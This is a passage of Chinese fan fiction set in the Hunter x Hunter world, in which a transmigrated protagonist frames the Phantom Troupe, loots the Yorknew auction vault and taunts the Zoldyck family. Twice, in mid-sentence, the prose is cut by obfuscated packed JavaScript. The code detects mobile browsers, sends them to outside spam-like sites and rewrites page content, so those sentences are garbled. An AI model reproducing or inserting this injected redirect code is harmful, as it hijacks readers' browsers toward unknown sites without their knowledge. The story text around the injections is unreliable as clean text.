他站起身,目光扫过每一位成员,无形的压力让最躁动的信长也暂时按下了怒火。 “侠客,不必再追溯源头了。那必然是一个无用的假地址。”他下令道,“你的任务是,全力核查十老头近期是否与揍敌客家族有过任何形式的接触,无论多么隐秘。我要的是证据,不是猜测。” “派克诺妲,芬克斯,飞坦。”他点出名字,“从现在起,所有核心成员的警戒级别提到最高。尤其注意那些非常规的、源自杀手世家的手段。假设刺杀委托是真的,那么攻击可能来自任何地方,任何形式。” 最后,他的目光变得深沉而极具凝聚力,声音不高,却清晰地传入每个人耳中:“记住,未知的敌人希望看到我们慌乱,希望我们因猜忌而从内部撕裂。” “但我们是蜘蛛。” “撕碎猎物之前,我们从不撕碎自己。计划照旧,但所有人,做好迎接‘额外惊喜’的准备。” “既然有人送了请柬,”库洛洛的眼中闪过一丝冰冷的、狩猎般的兴奋,“那我们……就好好享受这场盛宴吧。” 友客鑫市,十老头首席会议室。 厚重的天鹅绒窗帘隔绝了外界的一切光线,昂贵的雪茄烟雾在空气中凝滞不散,却无法掩盖弥漫其间的紧绷与恐慌。往常这里是一切阴影权力的中心,运筹帷幄,决定着他人的生死。但此刻,一种罕见的、被摆弄的恐惧感正攫握着在场的每一位老人。 “荒谬!彻头彻尾的荒谬!” 一份情报被狠狠摔在光可鉴人的红木会议桌上,声音在寂静的房间里显得格外刺耳。一位掌控着大陆地下军火贸易的老头,脸色因暴怒而涨红。 “幻影旅团……雇佣揍敌客,来杀我们?!”另一位掌管全球走私网络的巨头,声音里充满了难以置信的匪夷所思,他扶了扶金丝眼镜,仿佛想看清楚这是不是一个拙劣的玩笑,“那群只懂掠夺和破坏的疯子蜘蛛,什么时候学会玩这种借刀杀人的把戏了?!这根本不符合他们的作风!” “但万一是真的呢?”第三个声音响起,干涩而沙哑,来自阴影中一个更为谨慎的老者。他指尖敲打着桌面,发出令人不安的嗒嗒 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“不管这是蜘蛛的疯病发作,还是有什么人在背后搞鬼……”另一位老头接口道,眼中闪过□□霸主特有的狰狞,“想让我们死?那就看看,谁的命更硬!” 恐慌并未消散,但这些从尸山血海中爬上位的老狐狸们,绝不会坐以待毙。巨大的混乱之下,一场更疯狂的防御和反扑正在黑暗中悄然酝酿。 友客鑫的夜风带着一丝都市特有的喧嚣与凉意,吹过程笑所在的天台。 他独自坐在某座摩天楼的边缘,双腿悬空,脚下是璀璨蔓延、如同星河倒泻的城市灯火。那些光点之中,正上演着贪婪、杀戮、阴谋与恐慌,而这一切,或多或少都与他亲手投下的石子所激起的涟漪有关。 他深吸了一口微凉的空气,感觉自己灵魂中某个部分正前所未有地融入这个疯狂而真实的世界。不再是以外来的“玩家”身份,而是以一个真正的“参与者”,甚至……是“编剧”的身份。 意识深处,凯沉默着,没有打扰他。他们之间不再需要无用的言语,一种冰冷的默契在两人之间流淌。凯是计划的审核者与情报官,而程笑,是那个最终按下启动按钮的执行者。 远处,似乎传来一声极其微弱的、或许是枪声或许是爆炸的闷响,很快就被城市的巨大噪音所吞没。 “啧,”他忍不住吹了个口哨,语调里满是幸灾乐祸,“库大团长果然没让人失望,这点小把戏糊弄不了他呢。” 凯的声音在他意识里响起,冷静得像在做战后简报:“他精准识别了情报的伪造痕迹,但没有选择戳破或内部清查,而是顺势将计就计,提升了整体警戒级别。典型的库洛洛·鲁西鲁风格。” “哦?”程笑眉毛一挑,笑容咧得更开,像只偷到了腥的猫,“所以,按你的说法……咱们这拙劣的钓鱼,他不仅咬了钩,还帮着把鱼线绷直了?” “可以这么理解。” 凯的声音听不出丝毫得意,只有纯粹的理性分析。“他的应对策略客观上达成了我们的首要目标:旅团的注意力已被‘潜在的揍敌客威胁’牢牢吸引,主要战力将用于外部戒备。拍卖会藏品区的防御力量,必然会出现可乘之机。” “Bingo!”程笑兴奋地摩拳擦掌,指尖几乎要冒出火花,“那就让好戏开场吧!蜘蛛们在前台严防死守‘看不见’的杀手……” 他看向窗外友客鑫璀璨的夜景,眼中闪烁着唯恐天下不乱的光芒。 “而我们,就去给他们心心念念的宝藏库,送上一份真正的‘惊喜大礼包’~?” 程笑的嘴角无声地向上勾起一个细微的弧度,那不是欢乐,而是一种近乎冷酷的满足感。 一场由他亲手编排的好戏,已经悄然拉开了帷幕。演员们(蜘蛛、十老头、揍敌客)皆已就位,他们依循着自己的本性,在舞台上卖力演出,却未必知晓剧本的真正走向。 “赊账”的能力让他拥有了介入剧情的“笔”,而凯的智慧则提供了最完美的“剧本”。 夜风拂起他额前的碎发,他望着这片被他搅动的沸腾夜色,眼中倒映着万家灯火,却冰冷得没有一丝温度。 他轻轻哼起了一段不成调的、来自另一个世界的旋律。 一场好戏,正在上演。而他,是唯一的观众,也是唯一的导演。 23. 只能说不愧是库洛洛 程笑像个恪守剧本的模范演员,为了避免改变剧情的走向,他老老实实在发霉的旅馆房间里蹲到了最后。 他掰着手指头数着外面的风起云涌:蜘蛛发现空库、酷拉皮卡生擒窝金……直到电视新闻里爆出“幻影旅团全员惨死”的惊天消息,他才猛地从床上一跃而起,发出一声压抑已久的欢呼: “芜湖——!剧本杀青!下一幕,高潮action!” 一切尽在掌握。他轻而易举地利用猎人执照的权限,以“临时安保”的身份混入了这场风暴的核心——地下拍卖会的现场。 场内气氛肃杀,念能力者混杂的气息几乎凝成实质。程笑却如鱼得水,他心中默念 「赊账」 ,暂时抵押了自身的 “存在感” 。他像一个透明的幽灵,冷眼旁观着剧情精准地推进:席巴与桀诺·揍敌客如约而至,强大的气场横扫全场,随即直奔二楼而去。 “嗯,完美。”程笑点点头,对自己的上帝视角十分满意。他不再停留,悄无声息地脱离了主会场,仿佛从未出现过。 另一边。 西索正百无聊赖地把玩着扑克牌,手机突然“叮”的一声轻响。他瞥了一眼发信人——是小伊~? 他乐呵呵地点开,信息内容却让他脸上的笑容瞬间变得危险而兴奋:「库洛洛快被席巴和桀诺打死了哦~」 这可不~行~? 他还没和那颗成熟的、闪耀着罪恶光芒的果实来一场酣畅淋漓的厮杀呢!怎么能让他在自己之前就烂掉? 这念头如同最甜美的毒药,瞬间攫取了他全部的注意力。他几乎是毫不犹豫地,化作一道疾风冲向了二楼,将那信息里显而易、过于突兀的漏洞完全抛在了脑后。 对库洛洛的执念,让他选择性忽略了这不合常理的“报信” 藏品室门外。 程笑凭借着低存在感的优势,如入无人之境,轻松摸到了钥匙,悄无声息地打开了厚重的藏品室大门。 【行动迅速些。】凯的声音在他意识里响起,带着一丝不易察觉的紧迫。即便计划顺利,身处虎穴核心也绝非久留之地。 “安啦安啦~”程笑却信步闲庭般地走了进去,目光贪婪地扫过满室珠光宝气,语气轻松得像在逛自家后院。“库洛洛那边可是提前拿到了‘剧本’,肯定准备了对付揍敌客的底牌。再加上西索这个唯恐天下不乱的家伙跑去搅局…他们那边且得打呢~” 他甚至有空对着一件古董花瓶品头论足:“十老头再蠢现在肯定也作鸟兽散了,够伊尔迷忙活好一阵子~没人会来打扰我们的。” 他的脚步最终停在了最中央的展台前。防弹玻璃罩内,那具古朴而诡异的「意识之偶」静静地伫立着,仿佛沉睡了数个世纪。 “现在——”程笑嘴角勾起一抹胜利在望的笑容,伸出手。 “该验收我们真正的‘宝藏’了。” …………… “咔哒。” 一声清脆、突兀的鞋跟叩击地面的声音,在寂静得落针可闻的藏品室内骤然响起,如同一声冰冷的枪响,击碎了程笑所有的从容。 “是……你啊。” 一个平静无波,却带着洞悉一切意味的嗓音自身后传来。 程笑全身的血液仿佛瞬间冻结了。他猛地回头,瞳孔因难以置信而急剧收缩——本应在二楼与揍敌客父子及西索酣战的库洛洛·鲁西鲁,此刻正完好无损地、气定神闲地站在他的面前。 那双深不见底的黑眸正凝视着他,里面没有一丝意外,只有一种猫捉老鼠般的、令人胆寒的玩味。 智力碾压! 程笑的心脏猛地一沉。所有的算计和优越感在这一刻碎得干干净净。他瞬间明白,自己那点小把戏,从一开始就没能瞒过这位蜘蛛头脑的眼睛。对方早已看穿了他的调虎离山之计,甚至……将计就计,反过来为他布下了这个请君入瓮的局! 另一边,二楼战场。 西索脸上的变态笑容早已被一种极度兴奋却又暴躁的狰狞所取代。他原本的计划是冲上来“帮忙”,确保库洛洛这颗美味的果实别被揍敌客父子提前碾碎——他以为自己会是个优雅的“辅助”,在关键时刻搅乱战局即可。 然而现实是,从他踏入战场的那一刻起,席巴·揍敌客那裹挟着雷霆之势的拳头和桀诺·老头那铺天盖地的“龙头戏画”就毫无差别地将他一同卷入了攻击范围! 揍敌客家的信条里可没有“一对一”的绅士风度,任何闯入战场的,皆为敌人。 西索: “……” (内心OS:真是……太不讲道理了~?但也不坏!) 他瞬间就从预想中的“辅助”变成了被狂暴火力死死按在原地输出的“主力”!揍敌客父子联手的压力排山倒海,逼得他不得不倾尽全力周旋,那些用来戏耍的扑克牌此刻成了保命的利器,每一次闪避和格挡都惊险万分。 他所有的精力都被用来应对这狂风暴雨般的攻势,高速的战斗节奏和致命的威胁让他根本无暇去细细感知眼前这个“库洛洛”是否有些微的不协调。他能感觉到“库洛洛”也在战斗,能力诡谲,这在一定程度上分担了部分压力,但也仅此而已。 他现在的需求已经从一开始的 “保库洛洛不死” ,急剧降级为最现实的—— “保住自己活着” ! 库洛洛·鲁西鲁的后手,成功地将最强的追猎者之二和最难控的变量西索,完美地拖死在了二楼战场。 ————藏品室——— 库洛洛·鲁西鲁静静地注视着程笑,那双深不见底的黑眸中掠过一丝纯粹的、学者般的探究欲。他原本的兴趣更多在于这具身体里那个沉稳理智灵魂的“智”,但眼下,这个看似跳脱的灵魂所展现出的、近乎预知未来的能力,显然更具价值。 “这很好。”库洛洛的语气里带着一种发现珍贵古籍般的满意,“提前送来虚假的情报,是为了将我的注意力牢牢锁在二楼……听你方才的自言自语,似乎也为伊尔迷先生准备了不小的麻烦。” 他微微偏头,像是在审视一件有趣的藏品:“这些手段本身都无关紧要。真正重要的是……” 库洛洛的声音低沉下去,带着一种不容置疑的压迫感: “你究竟是如何‘知道’这一切会发生的?” 话音未落,他像是突然想起了什么——不久前的预言诗,他再次回忆,那些晦涩的诗句和之前一些模糊的暗示仿佛瞬间找到了答案。 他抬起头,眼中闪过一丝了然的锐光,缓缓念出诗中最关键的一节: “狡狐假借死敌之名, 吹响错误的号角。 双生的灵魂徘徊于珍宝之室, 窃取‘真实’的,是窥视命运之眼的窃贼。 切勿聆听伪神的低语,否则你将永失所盗之火。” 言罢,他看向程笑,仿佛已经看穿了一切真相,做出了最合理的推断: “原来如此……我早该想到的。你的念能力,并非简单的战斗用技。”库洛洛向前一步,无形的压力弥漫开来,“是与‘预知’……或者更精确地说,是‘占卜’相关的能力,对吗?” “你能‘看到’未来的片段。” 面对库洛洛这结合了情报、观察、甚至“玄学”证据后得出的、完全错误但又逻辑自洽的惊人推论,程笑只觉得一股寒意从脊椎窜起。 作为一名熟知剧情的穿越者,他第一次如此清晰地感受到,在绝对智慧的逼视下,那种无所遁形的、巨大的压力。 面对库洛洛那几乎要将他灵魂都剖析干净的锐利目光和那份看似合理的“错误答案”,程笑在一瞬间的压迫感后,大脑飞速运转。 不能再纠缠下去了! 库洛洛的智慧远超想象,多待一秒,多說一句话,都可能暴露更多破绽。必须立刻执行最终方案——夺宝,跑路! 他脸上那夸张的、挑衅般的笑容此刻更像是一张精心佩戴的面具,用来掩盖真正的意图。他故意拖长了语调: “嗯哼~猜得很有趣,团长先生。但是……不止哦~” 话音未落,他根本不给库洛洛深思或反应的时间,双臂猛地一张——这不是炫耀,这是发动能力的起手式! 「赊账·典当——全库清算!」 库洛洛·鲁西鲁眼中精光一闪,「盗贼的极意」瞬间具现在手中。他当然不会拒绝观察,“看清能力” 正是他盗取能力的首要条件! 然而,程笑要的就是他这片刻的专注! 下一秒,奇迹(或者说灾难)发生了——整个宝库的宝藏瞬间凭空蒸发,只剩下空旷和死寂。 库洛洛的瞳孔骤然收缩,即便是他也被这堪称“神迹”的盗窃手段震动了片刻。贪婪和渴望瞬间压倒了一切——他必须得到这个能力!他手中的书页疯狂翻动,试图更清晰地捕捉能力的脉络。 但程笑根本就没打算给他更多观察和提问的时间! 就在库洛洛心神被能力吸引的这电光火石的一刹那,程笑脸上所有的表情如同面具般剥落。气息陡然一变,从极致的张扬变为绝对的冷静。 凯精准地接管了身体,没有丝毫拖泥带水。他甚至没有去看库洛洛那本危险的书,而是利用这宝贵的、对方因震惊和贪婪而产生的一丝空隙,身体已经做出了向后疾退的预备动作。 他用那双冰冷沉静的眼睛看向库洛洛,语气平稳得没有一丝波澜,却带着最终的警告: “展示结束。窥探他人的‘资本’,可是要付出高昂‘利息’的,库洛洛先生。” “至于答案——”凯的声音还在空气中回荡,他的身影却已借着宝库空旷的地形急速后撤。 “就请你自己去寻找吧。” 库洛洛的反应不可谓不快,但对方切换灵魂、发动能力、撤退的动作一气呵成,几乎是同一时间完成。就在他身形微动,即将追出窗外的刹那—— “轰——!!!” 一声震耳欲聋的龙啸伴随着天花板轰然破碎的巨响,一道凝练至极、狂暴无匹的念气巨龙——“龙头戏画” ——如同天罚般撕裂一切阻碍,朝着他当头轰下! 库洛洛瞳孔急缩:! 桀诺·揍敌客那中气十足的怒喝声如同惊雷般炸响: “原来藏在这里!!” 他是怎么精准找到这里的?!这个念头在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526553|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库洛洛脑中一闪而过,但此刻已容不得他细想。那毁灭性的力量将他所有的追击路线彻底封死,甚至逼得他必须全力后退防御。 他真正的、毫无花巧地被拖入了这场他原本只想用替身敷衍的,与揍敌客父子的正面酣战之中! 另一边。 程笑可半点没有观战的意思,他借着库洛洛被阻击的这天赐良机,将“存在感降低”的效果开到最大,运起念力,像一道透明的幽灵,沿着早已规划好的路线玩命狂奔。 混乱的战场、四起的烟尘都成了他最好的掩护。他轻而易举地突破了外围那些早已被揍敌客和旅团(及其替身)大战吓破胆的□□成员的封锁,成功突出了重围。 一路狂奔出好几条街,直到完全感受不到身后那令人窒息的念压,程笑才敢稍微放缓脚步。 “我去?!库洛洛居然真的没追上来?”他靠在一个阴暗的巷口,喘着气,难以置信地回头望去——身后街道空空如也,只有友客鑫不变的霓虹在闪烁。 劫后余生的狂喜和巨大的疑惑同时涌上心头。他刚才光顾着跑,根本没看清那声龙啸是怎么回事。 就在这时,意识中,凯那平静无波的声音响起,解答了他的困惑: “我给席巴先生“报点”了。” 程笑:“……啥?怎么报的?” “揍敌客有一套用于极端环境下、无需电子设备的紧急通讯方式,”凯解释道,“通过特定频率的念波震动声带或骨骼,发出人耳难以捕捉但家族成员能清晰接收的定位信号。” “我模拟了那种信号,将库洛洛的坐标传递了出去。” 程笑先是一喜,随即猛地意识到什么,脸色微变:“等会儿!你用揍敌客的密语……那岂不是……” “是的。” 凯的声音依旧冷静,却带上了一丝不容忽视的凝重。“席巴先生一定能接收到。并且,他绝对能识别出—— “这信号来源,并非来自任何已知的、在外的家族成员。” “我等于直接向他宣告:有一个熟知揍敌客最高机密通讯方式的神秘存在,正介入此事。” ————另一边————— 伊尔迷·揍敌客站在一栋大厦的顶端,漆黑的猫眼毫无波澜地俯视着脚下因为□□首领接连毙命而逐渐陷入混乱的友客鑫市。清理四散躲藏的“十老头”费了他不少功夫,像在玩一场效率至上的捉迷藏。 现在,游戏结束,佣金到手。 他拿出手机,拨通了那个唯一的号码,进行最后的售后服务确认。 电话接通的瞬间,听筒里传来的便是急促的喘息、念力剧烈碰撞的轰鸣以及建筑物崩塌的巨响! (藏品库内的景象) 库洛洛·鲁西鲁正处在极大的劣势中。藏品库已是一片狼藉,他的额角破裂,昂贵的衣物变得破破烂烂,正凭借盗取的多种能力在席巴刚猛无俦的拳势和桀诺铺天盖地的“龙头戏画”下苦苦支撑。(类似于原著中被混合双打后的狼狈状态) “雇主先生。”伊尔迷平淡无波的声音透过电话传来,与背景音里的激烈厮杀形成了荒谬的对比。“任务完成。委托方‘十老头’已确认全部清除。” 就是这么一句简单的工作汇报,效果却堪比最强的除念术。 电话那头,毁灭性的攻势骤然停止。 席巴和桀诺几乎在同一时间收手,磅礴的念压如同潮水般退去。两位顶尖杀手站在原地,气息平稳,仿佛刚才那场狂风暴雨般的攻击从未发生过。 库洛洛得以喘息,他单膝跪地,剧烈地呼吸着,鲜血滴落在地面的尘埃里。他抬起头,看向对面的揍敌客父子。 席巴·揍敌客看了他一眼,语气平静地做出了业务声明: “委托方已死亡,雇佣关系自动终止。揍敌客家族不再有对你出手的理由。” 桀诺·揍敌客在一旁摸了摸胡子,补充了一句更像是调侃的实话: “而且,也没人付剩下的尾款了嘛。” 免费的活儿,我们可不干。 在库洛洛·鲁西鲁狼狈不堪的皮囊之下,他的眼神是一片深不见底的平静。 当伊尔迷的电话接通,当那句“委托方十老头已确认全部清除”的话音通过话筒清晰地传出时—— 库洛洛心中最后一块拼图,严丝合缝地落定了。 一切正如他所料。 他所有的挣扎,所有的周旋,都是为了撑到这枚早已布下的、最关键棋子生效的时刻。雇佣伊尔迷去杀死雇主本身,就是他为自己准备的、最可靠的逃生通道。 电话那头的伊尔迷仿佛能猜到这边的场景,用毫无起伏的语调完成了最后的通话: “看来售后服务不再需要。交易结束,确认收货。” 嘟——电话被挂断。 库洛洛·鲁西鲁独自站在废墟之中,看着揍敌客父子如同完成了一次普通散步般,毫不留恋地转身离去。 一场生死危机,就这样以一种极其符合揍敌客风格的方式,突兀地开始,又更加突兀地结束了。 而这一切的始作俑者,此刻正带着他们真正的战利品,消失在了友客鑫的夜色之中。 24. 叮—!你的黑锅请查收 返程的飞艇上,气氛并不如表面那般平静。 桀诺背着手,望着窗外的云海,忽然开口,语气听不出喜怒:“刚才那个‘信号’……很熟悉。” 席巴双臂环抱,如山岳般沉稳地坐在沙发上,闻言睁开了锐利的双眼:“嗯。频率、节奏,甚至是念波中那一点不易察觉的停顿习惯……都像极了那个人。” 两人沉默了片刻。那种利用骨骼与念共振传递信息的古老方式,是揍敌客核心成员与极少数最高级别管家才会掌握的绝密技能。范围小到可怜。 “凯。”席巴缓缓吐出了这个名字,带着一种审视的意味。“但不可能,他的尸体至今都被基裘保存着。” 桀诺摸了摸胡子,眼神深邃:“人死不能复生。更可能,是某个我们不知道的、流落在外又心怀不轨的分家子弟,不知用什么方法窃取了这项机密。” 席巴点了点头,但眼神中的疑虑并未消散。无论是哪种可能,都必须彻查。一个掌握着家族最高机密的前“财产”可能流落在外,这本身就是最高级别的安全隐患。 他不再犹豫,拿出手机,拨通了长子的号码。 另一边,伊尔迷刚刚结束与库洛洛的通话。 手机再次响起,看到是父亲的号码,他立刻接起,声音平稳无波:“父亲。” 席巴低沉的声音从听筒传来,没有寒暄,直接下达指令:“伊路米,去查一下凯的相关线索。我们刚才收到了使用他习惯频率发出的家族信号。” 伊尔迷的心跳几乎在瞬间漏跳了一拍,但他强大的控制力让他的声音没有流露出丝毫异常:“……?” 信号?凯主动暴露了?不,父亲的话明显以为是情报泄露,尚未联想到复活……还好。 他飞速冷静下来。他隐瞒消息,并非出于什么温情,而是出于最纯粹的价值评估与占有欲。凯是他一手“处理”掉的,也是因他弟弟的能力而“流失”的。这件曾经为家族创造巨大价值、又与他有着特殊联系的“资产”,其所有权在他观念里理应属于他。 如果让家族介入,凯只会被当作一件危险的“失控财产”被回收、分解、研究其“复活”原理,最终价值被榨干后废弃。这无疑是巨大的浪费。 而如果由他独自回收,他就能重新完全掌控这件独一无二的、拥有顶尖管理能力和特殊意义的“所有物”。这符合揍敌客的效率原则,也符合他个人的……偏好。 浑然不知儿子的心思的席巴:“信号源在友客鑫。重点排查可能接触过家族机密的分家,或是……任何与他相似的念波动。必须查清。” 伊尔迷的语气恢复了一贯的平淡和高效,甚至带着一种接下任务的冷漠: “明白了,父亲。我会彻底调查清楚。” 电话挂断。 伊尔迷·揍敌客站在原地,漆黑的猫眼里不再是空洞,而是如同最精密的雷达,开始重新扫描整个事件。 调查?他当然会去。他会比家族所有人都更高效、更彻底地查清此事。 然后,抢先一步,将他流失的“财产”,重新纳入自己的掌控之中。 ————另一边——— 库洛洛·鲁西鲁独自站在废墟之中,看着揍敌客父子如同完成了一次普通散步般,毫不留恋地转身离去。 废墟里只剩下他粗重的喘息声。然而,这份寂静并未持续多久。 一道身影轻巧地从二楼破损的栏杆处跃下,如同没有重量的羽毛般落在库洛洛面前。西索·魔术师此刻的模样也称不上完好,衣服有多处破损,脸颊也带着擦伤,但他那双金色的瞳孔里燃烧着的却不是疲惫,而是某种被戏弄后的兴奋与危险的质问。 他晃了晃手中已经熄灭屏幕的手机,语气甜腻却带着冰冷的尖刺: “嗯哼~库洛洛?……能解释一下吗?那条把我骗来这里,和两个老怪物打生打死的‘救命’短信~?” 他理所当然地认为,那条用揍敌客密语发送、精准指引他来到二楼的坐标信息,是库洛洛为了脱身而布下的又一重算计。 库洛洛缓缓直起身,用手背擦去额角的血迹。面对西索的质问,他脸上没有任何被拆穿的窘迫,反而露出了一种带着些许玩味的、了然的神情。 “不是我。”他平静地否认,声音还带着一丝力竭后的沙哑,却异常清晰。 西索的眉毛挑高了,显然不信:“哦~?” “发信的人,是程笑。”库洛洛说出了这个名字,目光仿佛穿透墙壁,看向那两人逃离的方向。“或者更准确地说,是他体内的那个‘东西’。” 他顿了顿,给出了一个在西索听来近乎天方夜谭,却又完美解释了所有疑点的答案: “而我,只是预知到了他可能会利用信息来制造混乱,所以提前将计就计,让你……和揍敌客,都去到了他最希望你们去的位置。” “………”西索脸上的笑容僵住了片刻,随即变得更加扭曲和兴奋起来,一种发现新玩具般的狂喜几乎要溢出来。 所以,这一切的幕后推手,那个让他打得如此狼狈、让库洛洛如此狼狈、甚至能驱动揍敌客密语的……竟然是那个他之前只觉得是“开胃小苹果”的家伙? 库洛洛看着他表情的变化,知道他已经信了。他最后补充了一句,为今晚的一切画上了句号: “他利用了所有人,西索。包括你,也包括我。” 说完,库洛洛不再理会陷入某种狂热思绪的西索,转身,拖着伤痕累累的身体,一步一步地、缓慢却坚定地消失在了废墟的阴影之中。 只留下西索一个人站在原地,他低头看着自己的手,然后忍不住发出了一阵压抑不住的、愉悦的轻颤。 “呵呵呵……哈哈哈哈哈!!!!!” 真是……太出乎意料了! 小苹果……不,现在简直是…… “惊喜盒” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526554|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊~?” 他此刻对程笑(和凯)的兴趣,恐怕已经瞬间飙升到了一个全新的、危险的高度。 …………… 当拍卖会的警卫和□□成员们终于敢战战兢兢地冲进地下藏品库时,映入他们眼帘的是一片狼藉的废墟,以及一具躺在瓦砾中、似乎毫无生息的躯体——一具库洛洛·鲁西鲁的替身。 就像狼来了的故事一样,同样的把戏玩两遍就不会有人相信这是真的尸体了。 而比这战斗痕迹更让他们心胆俱裂的是—— 空了。 整个宝库,那堆积如山的、价值足以买下数个小国的奇珍异宝、古董念器……全部不翼而飞! 整个藏品库彻底的被洗劫一空,连个硬币都没剩下! “蜘…蜘蛛……幻影旅团!!!” 恐惧和震惊的尖叫声终于冲破了寂静。 (舆论的爆发) 接下来的几个小时,友客鑫乃至全世界的媒体都彻底爆炸了! “史上最恶!幻影旅团于友客鑫制造惊天惨案,劫掠全部拍卖藏品后扬长而去!” “恶魔的盛宴!蜘蛛的铁蹄践踏地下世界秩序!” “十老头惨遭灭口,疑为幻影旅团所为!” 所有的证据都指向了他们:强大的战力、残忍的手段、以及那空空如也、仿佛被蝗虫过境般的宝库。 眨眼之间,铺天盖地的通缉令和天价悬赏让幻影旅团的恶名和赏金登上了前所未有的巅峰。他们成为了整个世界黑暗面恐惧和唾骂的对象。 —————蜘蛛的巢穴——— 某处安全屋内,刚刚处理完伤口、换上一身新衣的库洛洛·鲁西鲁,沉默地看着电视上关于“自己”的“丰功伟绩”的报道,手中的报纸头版正是他那张面无表情的通缉令,下面的赏金数字长得吓人。 库洛洛:“……” 他英俊的脸上没有任何表情,但周围的空气几乎要凝固了。 旁边的侠客干笑一声,试图活跃气氛:“啊哈哈……团长,我们这次好像……名声更响亮了?” 芬克斯抱着胳膊,一脸不爽:“嘁,听起来是很威风啦……但总觉得哪里怪怪的,我们明明什么都没拿到啊!” 飞坦发出了一声极其不耐烦的咂舌声,金色瞳孔里全是杀意。 玛奇则冷冷地瞥了一眼电视:“我们被算计了。” 富兰克林低沉道:“真正的赢家,藏在我们的影子里。” 所有团员都陷入了一种极其复杂的沉默之中。 他们背负了有史以来最大的黑锅,吸引了全世界所有的仇恨和目光…… 而真正的窃宝者,此刻正不知道在哪个角落里,享受着真正的战利品,并且还在看他们的笑话。 这种憋屈又荒谬的感觉,即便是无恶不作的幻影旅团,也是头一次体验得如此彻底。 库洛洛缓缓放下报纸,声音平静却带着一种山雨欲来的危险: “找到他。” 25.不好意思,这次我想玩个大的?? 库洛洛那句“找到他”的命令之后,安全屋内陷入了一片凝重的沉默。 找?说得轻巧。 能构思出这么一出巧妙的祸水东引计划,将世界顶尖的幻影旅团和揍敌客家族都玩弄于股掌之间的幕后黑手,此刻恐怕早已像一滴水融入了大海,彻底消失在信息的洪流之中,再难寻觅其踪迹了。这几乎是所有团员内心的共识。 然而,就在这片压抑的沉默持续了还不到十分钟—— “团…团长!!快看这个!”侠客的声音罕见地带上了一丝难以置信的惊愕,他猛地将笔记本电脑屏幕转向众人。 只见一个刚刚发布不到三分钟的视频,正以坐火箭般的速度疯狂攀升至所有热门榜单的榜首。 视频点开,程笑那张嬉皮笑脸的特写瞬间占据了整个屏幕。 他背景似乎是在某个货船的船舱里,而他的身后,赫然正是那些从友客鑫地下拍卖会不翼而飞、如今让旅团背负了惊天黑锅的全部宝藏! 程笑得意地拍了拍身边一个巨大的古董花瓶,就像在拍自家兄弟的肩膀,然后他用手指直接戳着镜头,脸上洋溢着毫不掩饰的、极其欠揍的挑衅笑容: “嘿!库洛洛——?”他拖长了音调,“看到没?喜欢吗?你背锅的样子简直帅呆了!” 他张开双臂,拥抱着一船的宝物,做出了一个极其嘲讽的告别动作: “来啊~来找我啊~略略略~” 视频到此戛然而止。 安全屋内,死一般的寂静。 所有团员的视线,缓缓地从屏幕上那嚣张至极的笑脸,移到了他们团长那张看不出表情的脸上。 库洛洛:“……” 下一秒! 轰! 飞坦周身爆发出惊人的杀气,直接踹门而出! 芬克斯骂了一句脏话,紧随其后。信长直接拔刀,身影瞬间消失在门口。玛奇、派克诺妲、富兰克林……所有团员甚至不需要库洛洛再下达任何命令,在这一刻行动高度统一! 奇耻大辱!这已经不是在挑衅了,这是直接把巴掌扇在了整个幻影旅团的脸上! 如果他们之前追捕程笑是为了夺回宝物和洗刷污名,那么现在,追捕的性质已经完全变了—— 这变成了不死不休的私人恩怨! 库洛洛缓缓站起身,黑色的眼眸中不再是深不见底的平静,而是凝结了一层冰冷的、实质般的杀意。 他看了一眼侠客,侠客立刻心领神会,手指在键盘上化作残影:“正在追踪信号源和背景环境特征!他跑不掉了!” 这一次,猎物自己选择了跳出大海,并且还点燃了全身的灯火,对着猎人疯狂呐喊。 蜘蛛,倾巢而出。 几乎在同一时间,另一部手机上也播放着同一个视频。 伊尔迷·揍敌客独自站在阴影中,屏幕上程笑那张嬉皮笑脸的特写,和他身后那堆耀眼的赃物,都未能让他空洞的猫眼产生丝毫波动。 直到视频的最后,程笑仿佛透过屏幕,精准地看向了他,嘴角咧开一个更大的、充满戏谑和挑战的笑容,说出了那句独属于他的“邀请”: “哦,对了~差点忘了~揍敌客家的各位!” 他故意用了一种唱戏般的腔调。 “你们家的‘前·顶级资产’——凯,就在我这儿哦~?” “你们知道他是谁,有多‘值钱’,我就不多赘述啦——” “总之,来找我吧~看看谁能先找到这份……‘宝藏’?哈哈哈!” 紧接着,他的笑容陡然带上了一丝冰冷的、毫不掩饰的威胁: “哦,顺便说一句——” “如果你们找不到,或者来得太慢让我觉得无聊了……” “我就把你们揍敌客那套宝贝的内部通讯密码和身份识别代码全公布出去~” “我相信全世界‘有兴趣’的人和组织,一定多得是吧?你们说呢 ??” 视频到此彻底结束。 屏幕黑下去的下一秒—— 咔嚓! 一声脆响,伊尔迷手中的手机瞬间被捏得粉碎,塑料和金属碎片从他指缝间簌簌落下。 他甚至不需要再去通知主宅。 就在程笑说出那句威胁的瞬间——枯枯戮山,揍敌客家主宅邸内。 席巴·揍敌客面前的数个专用通讯屏幕几乎在同一瞬间全部亮起最高警报的猩红色!安装在程笑视频平台上的监控程序,在捕捉到“通讯密码”、“识别代码”等关键词组合后,已自动将威胁等级提升至家族存续危机级别,信息直接同步给了所有家族核心成员! 席巴的身上骤然爆发出如同实质般的恐怖念压,房间内的昂贵装饰品瞬间布满裂纹! “混账东西!”他雄狮般的怒吼声震动了整个山体。 